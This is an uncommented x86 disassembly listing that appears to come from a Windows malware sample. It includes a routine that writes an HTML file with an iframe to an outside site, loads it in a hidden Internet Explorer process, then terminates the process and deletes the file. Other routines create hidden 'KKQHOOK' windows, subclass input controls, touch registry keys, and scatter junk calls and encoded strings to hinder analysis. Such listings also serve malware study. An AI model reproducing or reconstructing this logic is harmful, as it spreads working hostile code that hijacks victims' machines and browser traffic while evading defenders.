		lea	ecx, [ebp+var_104]
		or	eax, 0FFFFFFFFh

loc_408C0A:				; CODE XREF: sub_408BE4+2Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408C0A
		mov	esi, eax
		push	8
		lea	ebx, [ebp+var_104]
		add	ebx, esi
		push	ebx
		call	sub_40170F
		add	esp, 8
		push	offset a_htm	; ".htm"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CA54
		add	esp, 8
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C67C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_408DEA
		push	2
		push	0
		push	0
		push	edi
		call	sub_40C6AC	; SetFilePointer
		lea	ecx, aHtmlIframeSrcH ; "<html><iframe src=http://kavkazcenter.c"...
		or	eax, 0FFFFFFFFh

loc_408C78:				; CODE XREF: sub_408BE4+99j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408C78
		mov	esi, eax
		push	0
		lea	ebx, [ebp+var_36C]
		push	ebx
		push	esi
		push	offset aHtmlIframeSrcH ; "<html><iframe	src=http://kavkazcenter.c"...
		push	edi
		call	sub_40C730	; WriteFile
		push	edi
		call	sub_40C55C	; CloseHandle
		mov	[ebp+var_364], 104h
		lea	eax, [ebp+var_370]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	offset aPath	; "Path"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\IE Setup\\Setup"
		push	80000002h
		call	sub_4014BD
		add	esp, 18h
		mov	[ebp+var_368], eax
		cmp	[ebp+var_368], 0
		jz	loc_408DEA
		push	104h
		lea	eax, [ebp+var_24C]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_40C4F0	; ExpandEnvironmentStringsA
		push	offset aIexplore_exe ; "\\Iexplore.exe "
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_40CA54
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_40CA54
		call	sub_404527
		mov	edi, eax
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CA00
		push	44h
		push	0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40CA00
		add	esp, 28h
		mov	[ebp+var_148], 44h
		mov	[ebp+var_11C], 1
		mov	[ebp+var_118], 1
		or	edi, edi
		jz	short loc_408D7B
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4045B7
		pop	ecx
		jmp	short loc_408D84
; ---------------------------------------------------------------------------

loc_408D7B:				; CODE XREF: sub_408BE4+186j
		mov	[ebp+var_118], 0

loc_408D84:				; CODE XREF: sub_408BE4+195j
		lea	eax, [ebp+var_25C]
		push	eax
		lea	eax, [ebp+var_148]
		push	eax
		push	0
		push	0
		push	20h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_24C]
		push	eax
		push	0
		call	sub_40C70C	; CreateProcessA
		or	eax, eax
		jz	short loc_408DDE
		push	[ebp+var_258]
		call	sub_40C55C	; CloseHandle
		push	0EA60h
		call	sub_40C9B8
		pop	ecx
		push	0
		push	[ebp+var_25C]
		call	sub_40C6DC	; TerminateProcess
		push	[ebp+var_25C]
		call	sub_40C55C	; CloseHandle

loc_408DDE:				; CODE XREF: sub_408BE4+1CAj
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40C760	; DeleteFileA

loc_408DEA:				; CODE XREF: sub_408BE4+79j
					; sub_408BE4+FBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408BE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DEF	proc near		; CODE XREF: sub_408E89+27p
					; sub_408E89+41p ...

var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_40C498
		push	esi
		push	edi
		call	sub_40C598	; GetTickCount
		push	5
		push	[ebp+arg_0]
		call	sub_40C790	; GetWindow
		mov	edi, eax
		mov	esi, 60E9h
		mov	eax, 7C4Ah
		mul	esi
		mov	[ebp+var_1008],	eax
		mov	esi, eax

loc_408E23:				; CODE XREF: sub_408DEF+94j
		or	edi, edi
		jnz	short loc_408E2B
		xor	eax, eax
		jmp	short loc_408E85
; ---------------------------------------------------------------------------

loc_408E2B:				; CODE XREF: sub_408DEF+36j
		push	0FFFh
		lea	eax, [ebp+var_1000]
		push	eax
		push	edi
		call	sub_40C79C	; GetClassNameA
		mov	[ebp+var_1], 27h
		add	[ebp+var_1], 1
		mov	eax, 0Dh
		sub	eax, dword_43B098
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_401806
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_408E6E
		mov	eax, edi
		jmp	short loc_408E85
; ---------------------------------------------------------------------------

loc_408E6E:				; CODE XREF: sub_408DEF+79j
		mov	eax, dword_445ACB
		mov	[ebp+var_1004],	eax
		push	2
		push	edi
		call	sub_40C790	; GetWindow
		mov	edi, eax
		jmp	short loc_408E23
; ---------------------------------------------------------------------------

loc_408E85:				; CODE XREF: sub_408DEF+3Aj
					; sub_408DEF+7Dj
		pop	edi
		pop	esi
		leave
		retn
sub_408DEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E89	proc near		; CODE XREF: sub_40B143+1F3p

var_174		= dword	ptr -174h
var_16F		= byte ptr -16Fh
var_169		= byte ptr -169h
var_168		= dword	ptr -168h
var_163		= byte ptr -163h
var_162		= byte ptr -162h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_152		= word ptr -152h
var_150		= byte ptr -150h
var_148		= byte ptr -148h
var_140		= word ptr -140h
var_13E		= byte ptr -13Eh
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_129		= byte ptr -129h
var_128		= dword	ptr -128h
var_122		= word ptr -122h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= dword	ptr -10Ah
var_106		= dword	ptr -106h
var_102		= byte ptr -102h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 174h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_445ACF
		mov	[ebp+var_138], eax
		push	9
		push	offset aST	; ""
		call	sub_40129C
		push	eax
		push	[ebp+arg_0]
		call	sub_408DEF
		mov	ebx, eax
		call	sub_40C538	; RtlGetLastWin32Error
		push	8
		push	offset aS	; ""
		call	sub_40129C
		push	eax
		push	ebx
		call	sub_408DEF
		mov	ds:dword_41C950, eax
		call	sub_40C598	; GetTickCount
		push	0
		push	ds:dword_41C950
		call	sub_40C880	; ShowWindow
		call	sub_40C538	; RtlGetLastWin32Error
		lea	eax, [ebp+var_112]
		push	eax
		push	ebx
		call	sub_40C778	; GetWindowRect
		push	0
		push	ds:dword_41DA84
		push	0
		push	ebx
		mov	eax, [ebp+var_106]
		sub	eax, [ebp+var_10E]
		push	eax
		mov	eax, [ebp+var_10A]
		sub	eax, [ebp+var_112]
		push	eax
		push	0
		push	0
		push	50800000h
		push	offset byte_446605
		push	offset aKkqhook	; "KKQHOOK"
		push	200h
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_41EB84, eax
		call	sub_40C598	; GetTickCount
		push	6
		push	offset word_445EF6
		call	sub_40129C
		mov	[ebp+var_158], eax
		push	19h
		push	offset aZnnnNiG	; "ÍɃ"
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_41EB84
		mov	edi, dword_43B098
		add	edi, 30h
		push	edi
		mov	edi, [ebp+var_10A]
		sub	edi, [ebp+var_112]
		sub	edi, 64h
		push	edi
		mov	edi, dword_43B098
		add	edi, 8
		push	edi
		mov	edi, dword_43B094
		add	edi, 12h
		push	edi
		push	50800000h
		push	eax
		mov	edi, [ebp+var_158]
		push	edi
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_41C94C, eax
		call	sub_40C514	; GetCurrentThreadId
		push	6
		push	offset word_445EF6
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_41EB84
		mov	edi, dword_43B098
		add	edi, 120h
		push	edi
		mov	edi, [ebp+var_10A]
		sub	edi, [ebp+var_112]
		sub	edi, 64h
		push	edi
		mov	edi, dword_43B098
		add	edi, 45h
		push	edi
		mov	edi, dword_43B098
		add	edi, 8
		push	edi
		push	50800009h
		push	offset byte_446605
		push	eax
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_42FCF8, eax
		call	sub_40C514	; GetCurrentThreadId
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	2BCh
		push	0
		push	0
		mov	eax, 14h
		sub	eax, dword_43B098
		push	eax
		mov	eax, dword_43B094
		add	eax, 12h
		push	eax
		call	sub_40C8F8	; CreateFontA
		mov	[ebp+var_134], eax
		call	sub_40C634	; IsDebuggerPresent
		push	1
		push	[ebp+var_134]
		push	30h
		push	ds:dword_41C94C
		call	sub_40C85C	; SendMessageA
		call	sub_40C5A4	; GetVersion
		push	8
		push	offset byte_445ED3
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_42FCF8
		mov	edi, dword_43B098
		add	edi, 120h
		push	edi
		mov	edi, dword_43B094
		add	edi, 30h
		push	edi
		mov	edi, dword_43B098
		add	edi, 2Eh
		push	edi
		mov	edi, dword_43B098
		add	edi, 8
		push	edi
		push	50800003h
		push	offset byte_446605
		push	eax
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_431D04, eax
		call	sub_40C508	; GetCurrentProcessId
		push	8
		push	offset byte_445ED3
		call	sub_40129C
		add	esp, 48h
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_42FCF8
		mov	edi, dword_43B098
		add	edi, 120h
		push	edi
		mov	edi, dword_43B098
		add	edi, 30h
		push	edi
		mov	edi, dword_43B098
		add	edi, 2Eh
		push	edi
		mov	edi, dword_43B098
		add	edi, 46h
		push	edi
		push	50800003h
		push	offset byte_446605
		push	eax
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_41DA7C, eax
		call	sub_40C598	; GetTickCount
		mov	[ebp+var_2], 1
		jmp	loc_409219
; ---------------------------------------------------------------------------

loc_409155:				; CODE XREF: sub_408E89+397j
		call	sub_40C508	; GetCurrentProcessId
		lea	edi, [ebp+var_169]
		lea	esi, aXola	; "xOLa%"
		mov	ecx, 3
		rep movsw
		lea	edi, [ebp+var_16F]
		lea	esi, a6s7P	; "6S7+P"
		mov	ecx, 3
		rep movsw
		push	4
		push	offset aIgq	; ""
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		push	edi
		push	eax
		lea	edi, [ebp+var_162]
		push	edi
		call	sub_40CA30
		lea	eax, [ebp+var_162]
		push	eax
		push	0
		push	143h
		push	ds:dword_431D04
		call	sub_40C85C	; SendMessageA
		push	6
		push	offset aQaigq	; ""
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		add	edi, 4
		push	edi
		push	eax
		lea	edi, [ebp+var_162]
		push	edi
		call	sub_40CA30
		add	esp, 28h
		call	sub_40C538	; RtlGetLastWin32Error
		lea	eax, [ebp+var_162]
		push	eax
		push	0
		push	143h
		push	ds:dword_41DA7C
		call	sub_40C85C	; SendMessageA
		mov	[ebp+var_163], 0E9h
		movzx	eax, [ebp+var_163]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_163], al
		inc	[ebp+var_2]

loc_409219:				; CODE XREF: sub_408E89+2C7j
		movzx	eax, [ebp+var_2]
		cmp	eax, 0Dh
		jl	loc_409155
		push	6
		push	offset word_445EF6
		call	sub_40129C
		mov	[ebp+var_15C], eax
		push	10h
		push	offset word_445EB6
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_41EB84
		mov	edi, dword_43B098
		add	edi, 4
		push	edi
		mov	edi, dword_43B098
		add	edi, 5Bh
		push	edi
		mov	edi, dword_43B098
		add	edi, 62h
		push	edi
		mov	edi, dword_43B098
		add	edi, 0B7h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_15C]
		push	edi
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_413F70, eax
		mov	[ebp+var_118], 5002h
		add	[ebp+var_118], 127Fh
		push	6
		push	offset word_445EF6
		call	sub_40129C
		mov	[ebp+var_160], eax
		push	0Fh
		push	offset aSN	; "Í"
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_41EB84
		mov	edi, dword_43B094
		add	edi, 0Eh
		push	edi
		mov	edi, dword_43B098
		add	edi, 4Bh
		push	edi
		mov	edi, dword_43B098
		add	edi, 85h
		push	edi
		mov	edi, dword_43B094
		add	edi, 0C1h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_160]
		push	edi
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_431CFC, eax
		push	6
		push	offset word_445EF6
		call	sub_40129C
		mov	[ebp-164h], eax
		push	0Ch
		push	offset byte_445E99
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_41EB84
		mov	edi, dword_43B094
		add	edi, 0Eh
		push	edi
		mov	edi, dword_43B094
		add	edi, 54h
		push	edi
		mov	edi, dword_43B098
		add	edi, 0ADh
		push	edi
		mov	edi, dword_43B098
		add	edi, 0B7h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp-164h]
		push	edi
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_433FE4, eax
		push	6
		push	offset word_445EF6
		call	sub_40129C
		mov	[ebp+var_168], eax
		push	4Ah
		push	offset word_445E4E
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_41EB84
		mov	edi, dword_43B094
		add	edi, 0Eh
		push	edi
		mov	edi, dword_43B094
		add	edi, 1E2h
		push	edi
		mov	edi, dword_43B098
		add	edi, 0DAh
		push	edi
		mov	edi, dword_43B098
		add	edi, 12h
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp+var_168]
		push	edi
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_431D00, eax
		call	sub_40C538	; RtlGetLastWin32Error
		push	6
		push	offset word_445EF6
		call	sub_40129C
		mov	[ebp-16Ch], eax
		push	26h
		push	offset byte_445E27
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_41EB84
		mov	edi, dword_43B094
		add	edi, 0Eh
		push	edi
		mov	edi, dword_43B094
		add	edi, 0FBh
		push	edi
		mov	edi, dword_43B098
		add	edi, 0F3h
		push	edi
		mov	edi, dword_43B094
		add	edi, 1Ch
		push	edi
		push	50000000h
		push	eax
		mov	edi, [ebp-16Ch]
		push	edi
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_439328, eax
		call	sub_40C538	; RtlGetLastWin32Error
		lea	edi, [ebp+var_13E]
		lea	esi, aAYI	; "A&y I"
		mov	ecx, 3
		rep movsw
		push	offset byte_432F00
		lea	eax, [ebp+var_102]
		push	eax
		call	sub_40CA30
		add	esp, 58h
		call	sub_40C5A4	; GetVersion
		mov	[ebp+var_3], 4
		jmp	short loc_4094CD
; ---------------------------------------------------------------------------

loc_4094BD:				; CODE XREF: sub_408E89+649j
		movzx	eax, [ebp+var_3]
		mov	[ebp+eax+var_102], 78h
		add	[ebp+var_3], 1

loc_4094CD:				; CODE XREF: sub_408E89+632j
		mov	al, [ebp+var_3]
		cmp	al, 0Ch
		jb	short loc_4094BD
		mov	[ebp+var_11C], 78Fh
		add	[ebp+var_11C], 2437h
		push	4
		push	offset word_445E22
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_42FCF8
		mov	edi, dword_43B094
		add	edi, 16h
		push	edi
		mov	edi, dword_43B098
		mov	esi, edi
		add	esi, 76h
		push	esi
		add	edi, 8
		push	edi
		push	edi
		push	50800800h
		lea	edi, [ebp+var_102]
		push	edi
		push	eax
		push	200h
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_410848, eax
		call	sub_40C5A4	; GetVersion
		push	4
		push	offset word_445E22
		call	sub_40129C
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_42FCF8
		mov	edi, dword_43B094
		add	edi, 16h
		push	edi
		mov	edi, dword_43B094
		add	edi, 44h
		push	edi
		mov	edi, dword_43B098
		add	edi, 53h
		push	edi
		mov	edi, dword_43B098
		add	edi, 8
		push	edi
		push	50800000h
		push	offset byte_446605
		push	eax
		push	200h
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_41DA74, eax
		call	sub_40C598	; GetTickCount
		push	0
		push	78h
		push	0CCh
		push	ds:dword_41DA74
		call	sub_40C85C	; SendMessageA
		push	6
		push	offset byte_445E1B
		call	sub_40129C
		mov	[ebp-170h], eax
		push	16h
		push	offset dword_445E04
		call	sub_40129C
		add	esp, 20h
		push	0
		push	ds:dword_41DA84
		push	0
		push	ds:dword_41EB84
		mov	edi, dword_43B098
		add	edi, 0Bh
		push	edi
		mov	edi, dword_43B098
		add	edi, 8Fh
		push	edi
		mov	edi, dword_43B098
		add	edi, 134h
		push	edi
		mov	edi, dword_43B098
		add	edi, 12h
		push	edi
		push	50800000h
		push	eax
		mov	edi, [ebp-170h]
		push	edi
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_433FE8, eax
		call	sub_40C574	; GetProcessHeap
		push	0
		push	2
		push	0
		push	0
		push	5
		push	1
		push	0
		push	0
		push	0
		push	190h
		push	0
		push	0
		mov	eax, dword_43B094
		add	eax, 4
		push	eax
		mov	eax, dword_43B098
		add	eax, 4
		push	eax
		call	sub_40C8F8	; CreateFontA
		mov	ebx, eax
		push	1
		push	ebx
		push	30h
		push	ds:dword_431D04
		call	sub_40C85C	; SendMessageA
		mov	ax, word_445AE5
		mov	[ebp+var_140], ax
		push	1
		push	ebx
		push	30h
		push	ds:dword_41DA7C
		call	sub_40C85C	; SendMessageA
		call	sub_40C508	; GetCurrentProcessId
		push	1
		push	ebx
		push	30h
		push	ds:dword_410848
		call	sub_40C85C	; SendMessageA
		push	1
		push	ebx
		push	30h
		push	ds:dword_41DA74
		call	sub_40C85C	; SendMessageA
		push	1
		push	ebx
		push	30h
		push	ds:dword_431CFC
		call	sub_40C85C	; SendMessageA
		lea	edi, [ebp+var_148]
		lea	esi, aDvybtb	; " dyTB"
		movsd
		movsd
		push	1
		push	ebx
		push	30h
		push	ds:dword_413F70
		call	sub_40C85C	; SendMessageA
		mov	[ebp+var_120], 1931h
		add	[ebp+var_120], 340Ch
		push	1
		push	ebx
		push	30h
		push	ds:dword_433FE4
		call	sub_40C85C	; SendMessageA
		lea	edi, [ebp+var_150]
		lea	esi, byte_445AEF
		mov	ecx, 2
		rep movsd
		push	1
		push	ebx
		push	30h
		push	ds:dword_433FE8
		call	sub_40C85C	; SendMessageA
		push	0FFFFFFFCh
		push	ds:dword_431D04
		call	sub_40C808	; GetWindowLongA
		mov	ds:dword_41EA7C, eax
		call	sub_40C598	; GetTickCount
		push	offset sub_40B01B
		push	0FFFFFFFCh
		push	ds:dword_431D04
		call	sub_40C814	; SetWindowLongA
		mov	[ebp+var_122], 0B3Bh
		add	[ebp+var_122], 6718h
		push	0FFFFFFFCh
		push	ds:dword_41DA7C
		call	sub_40C808	; GetWindowLongA
		mov	ds:dword_41DA78, eax
		mov	ebx, 90Dh
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		push	offset sub_40B01B
		push	0FFFFFFFCh
		push	ds:dword_41DA7C
		call	sub_40C814	; SetWindowLongA
		mov	[ebp+var_128], 5EE2h
		mov	eax, 7823h
		mul	[ebp+var_128]
		mov	[ebp+var_174], eax
		mov	[ebp+var_128], eax
		push	0FFFFFFFCh
		push	ds:dword_410848
		call	sub_40C808	; GetWindowLongA
		mov	ds:dword_40E008, eax
		mov	[ebp+var_129], 0B8h
		add	[ebp+var_129], 0CCh
		push	offset sub_40B01B
		push	0FFFFFFFCh
		push	ds:dword_410848
		call	sub_40C814	; SetWindowLongA
		call	sub_40C634	; IsDebuggerPresent
		push	0FFFFFFFCh
		push	ds:dword_41DA74
		call	sub_40C808	; GetWindowLongA
		mov	ds:dword_413F6C, eax
		mov	[ebp+var_130], 5F75h
		inc	[ebp+var_130]
		push	offset sub_40B01B
		push	0FFFFFFFCh
		push	ds:dword_41DA74
		call	sub_40C814	; SetWindowLongA
		call	sub_40C5A4	; GetVersion
		push	ds:dword_431D04
		call	sub_40C7A8	; SetFocus
		mov	ax, word_445AF7
		mov	[ebp+var_152], ax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408E89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_409847	proc near		; DATA XREF: sub_40A766+80Do

var_55FD	= byte ptr -55FDh
var_55FC	= dword	ptr -55FCh
var_55F7	= byte ptr -55F7h
var_55F4	= word ptr -55F4h
var_55F1	= byte ptr -55F1h
var_55F0	= dword	ptr -55F0h
var_55EA	= byte ptr -55EAh
var_474C	= dword	ptr -474Ch
var_4746	= dword	ptr -4746h
var_4742	= byte ptr -4742h
var_473F	= byte ptr -473Fh
var_4737	= byte ptr -4737h
var_4736	= byte ptr -4736h
var_472F	= byte ptr -472Fh
var_4727	= byte ptr -4727h
var_4720	= dword	ptr -4720h
var_471C	= word ptr -471Ch
var_4719	= byte ptr -4719h
var_4718	= word ptr -4718h
var_4716	= word ptr -4716h
var_4714	= dword	ptr -4714h
var_470F	= byte ptr -470Fh
var_470E	= word ptr -470Eh
var_470B	= byte ptr -470Bh
var_470A	= word ptr -470Ah
var_4707	= byte ptr -4707h
var_4608	= byte ptr -4608h
var_4604	= dword	ptr -4604h
var_4600	= dword	ptr -4600h
var_45FC	= dword	ptr -45FCh
var_45F5	= byte ptr -45F5h
var_45F4	= dword	ptr -45F4h
var_45EF	= byte ptr -45EFh
var_45EB	= byte ptr -45EBh
var_35FD	= byte ptr -35FDh
var_35FA	= word ptr -35FAh
var_35F8	= dword	ptr -35F8h
var_35F4	= word ptr -35F4h
var_35F2	= word ptr -35F2h
var_35F0	= dword	ptr -35F0h
var_35EC	= dword	ptr -35ECh
var_35E5	= byte ptr -35E5h
var_35E0	= word ptr -35E0h
var_35DE	= byte ptr -35DEh
var_35D8	= byte ptr -35D8h
var_35D3	= byte ptr -35D3h
var_25D4	= byte ptr -25D4h
var_25CF	= byte ptr -25CFh
var_15E4	= dword	ptr -15E4h
var_15E0	= dword	ptr -15E0h
var_15DC	= dword	ptr -15DCh
var_15D8	= dword	ptr -15D8h
var_15D4	= dword	ptr -15D4h
var_15D0	= dword	ptr -15D0h
var_117A	= byte ptr -117Ah
var_1174	= byte ptr -1174h
var_116C	= byte ptr -116Ch
var_1167	= byte ptr -1167h
var_1160	= byte ptr -1160h
var_1159	= byte ptr -1159h
var_1153	= byte ptr -1153h
var_114C	= dword	ptr -114Ch
var_1148	= word ptr -1148h
var_1146	= byte ptr -1146h
var_113F	= byte ptr -113Fh
var_1138	= word ptr -1138h
var_1136	= byte ptr -1136h
var_1133	= byte ptr -1133h
var_1034	= dword	ptr -1034h
var_102D	= byte ptr -102Dh
var_102C	= dword	ptr -102Ch
var_1028	= word ptr -1028h
var_1026	= word ptr -1026h
var_1024	= word ptr -1024h
var_1022	= word ptr -1022h
var_1020	= word ptr -1020h
var_101D	= byte ptr -101Dh
var_101C	= word ptr -101Ch
var_1019	= byte ptr -1019h
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_100F	= byte ptr -100Fh
var_F0B		= byte ptr -0F0Bh
var_E0C		= dword	ptr -0E0Ch
var_E08		= byte ptr -0E08h
var_608		= dword	ptr -608h
var_604		= dword	ptr -604h
var_600		= byte ptr -600h
var_200		= byte ptr -200h
var_1FD		= byte ptr -1FDh
var_1FB		= byte ptr -1FBh
var_1A8		= byte ptr -1A8h
var_1A7		= byte ptr -1A7h

		push	ebp
		mov	ebp, esp
		mov	eax, 5600h
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_1136]
		lea	esi, byte_445AF9
		mov	ecx, 3
		rep movsb
		mov	ax, word_445AFC
		mov	[ebp+var_1138],	ax
		lea	edi, [ebp+var_113F]
		lea	esi, aXeXw7	; "xe#xW7"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_1146]
		lea	esi, aSZtw	; "s* ztw"
		mov	ecx, 7
		rep movsb
		mov	ax, word_445B0C
		mov	[ebp+var_1148],	ax
		mov	eax, dword_445B0E
		mov	[ebp+var_114C],	eax
		call	sub_40C598	; GetTickCount
		push	eax
		call	sub_40CA3C
		pop	ecx
		mov	[ebp+var_1020],	5EBBh
		movzx	eax, [ebp+var_1020]
		imul	eax, 4F0Ch
		mov	[ebp+var_1020],	ax

loc_4098DE:				; CODE XREF: sub_409847+EB1j
		lea	edi, [ebp+var_1153]
		lea	esi, aMc_o9	; " MC_O9"
		mov	ecx, 7
		rep movsb
		mov	eax, 14h
		sub	eax, dword_43B098
		push	eax
		lea	eax, [ebp+var_F0B]
		push	eax
		call	sub_40170F
		mov	[ebp+var_1022],	7892h
		add	[ebp+var_1022],	627Dh
		push	9
		push	offset word_445DFA
		call	sub_40129C
		lea	edi, [ebp+var_F0B]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_600]
		push	edi
		call	sub_40CA30
		mov	[ebp+var_1019],	0CDh
		movzx	eax, [ebp+var_1019]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1019],	al
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_403449
		call	sub_40C508	; GetCurrentProcessId
		lea	edi, [ebp+var_1159]
		lea	esi, aV?zP	; "v?Z,P"
		mov	ecx, 3
		rep movsw
		push	9
		push	offset aCvvi	; "ݗ"
		call	sub_40129C
		mov	edi, dword_43B0B4
		push	off_43B0BC[edi*4]
		push	eax
		lea	edi, [ebp+var_E08]
		push	edi
		call	sub_40CA30
		call	sub_40C508	; GetCurrentProcessId
		push	1
		push	offset aV	; ""
		call	sub_40129C
		mov	edi, 0Dh
		sub	edi, dword_43B098
		push	edi
		push	eax
		mov	edi, dword_43B0B4
		push	off_43B0BC[edi*4]
		call	sub_401806
		add	esp, 4Ch
		cmp	eax, 0FFFFh
		jnz	short loc_4099FB
		push	0Ah
		push	offset aVG	; "ƃ"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_E08]
		push	edi
		call	sub_40CA54
		add	esp, 10h

loc_4099FB:				; CODE XREF: sub_409847+196j
		mov	[ebp+var_1024],	318Dh
		add	[ebp+var_1024],	466Ah
		and	[ebp+var_1018],	0
		mov	[ebp+var_1034],	4
		call	sub_40C574	; GetProcessHeap
		push	1Ah
		push	offset dword_445DC8
		call	sub_40129C
		mov	[ebp+var_15D0],	eax
		push	3
		push	offset asc_445DC4 ; ""
		call	sub_40129C
		lea	edi, [ebp+var_1160]
		push	edi
		lea	edi, [ebp+var_1034]
		push	edi
		lea	edi, [ebp+var_1018]
		push	edi
		push	eax
		mov	edi, [ebp+var_15D0]
		push	edi
		push	80000001h
		call	sub_4014BD
		lea	edi, [ebp+var_1167]
		lea	esi, a9yb	; "9y|'&"
		mov	ecx, 7
		rep movsb
		lea	edi, [ebp+var_116C]
		lea	esi, aRlJ	; "Rl J"
		mov	ecx, 5
		rep movsb
		push	7
		push	offset aTRi	; "ΐ"
		call	sub_40129C
		push	[ebp+var_1018]
		push	eax
		lea	edi, [ebp+var_1133]
		push	edi
		call	sub_40CA30
		mov	[ebp+var_1026],	7CB6h
		sub	[ebp+var_1026],	556Ch
		lea	eax, [ebp+var_1133]
		push	eax
		lea	eax, [ebp+var_E08]
		push	eax
		call	sub_40CA54
		lea	edi, [ebp+var_1174]
		lea	esi, aMe0AP	; "Me0/&P"
		movsd
		movsd
		push	1
		push	offset asc_445DBA ; ""
		call	sub_40129C
		lea	edi, [ebp+var_604]
		push	edi
		push	0
		push	0
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		lea	edi, [ebp+var_600]
		push	edi
		lea	edi, [ebp+var_E08]
		push	edi
		push	0
		call	sub_4062CD
		add	esp, 6Ch
		mov	ebx, eax
		call	sub_40C574	; GetProcessHeap
		or	ebx, ebx
		jnz	short loc_409B4A
		lea	edi, [ebp+var_15D8]
		lea	esi, a@_aP1	; " @_a&P1"
		mov	ecx, 2
		rep movsd
		lea	eax, [ebp+var_600]
		push	eax
		call	sub_4034D8
		pop	ecx
		call	sub_40C5A4	; GetVersion
		jmp	loc_40A5BF
; ---------------------------------------------------------------------------

loc_409B4A:				; CODE XREF: sub_409847+2D7j
		and	[ebp+var_1018],	0
		push	1Ah
		push	offset dword_445DC8
		call	sub_40129C
		mov	[ebp+var_15D4],	eax
		push	3
		push	offset asc_445DC4 ; ""
		call	sub_40129C
		push	4
		push	4
		lea	edi, [ebp+var_1018]
		push	edi
		push	eax
		mov	edi, [ebp+var_15D4]
		push	edi
		push	80000001h
		call	sub_4015EB
		mov	[ebp+var_1028],	5BFEh
		inc	[ebp+var_1028]
		push	0
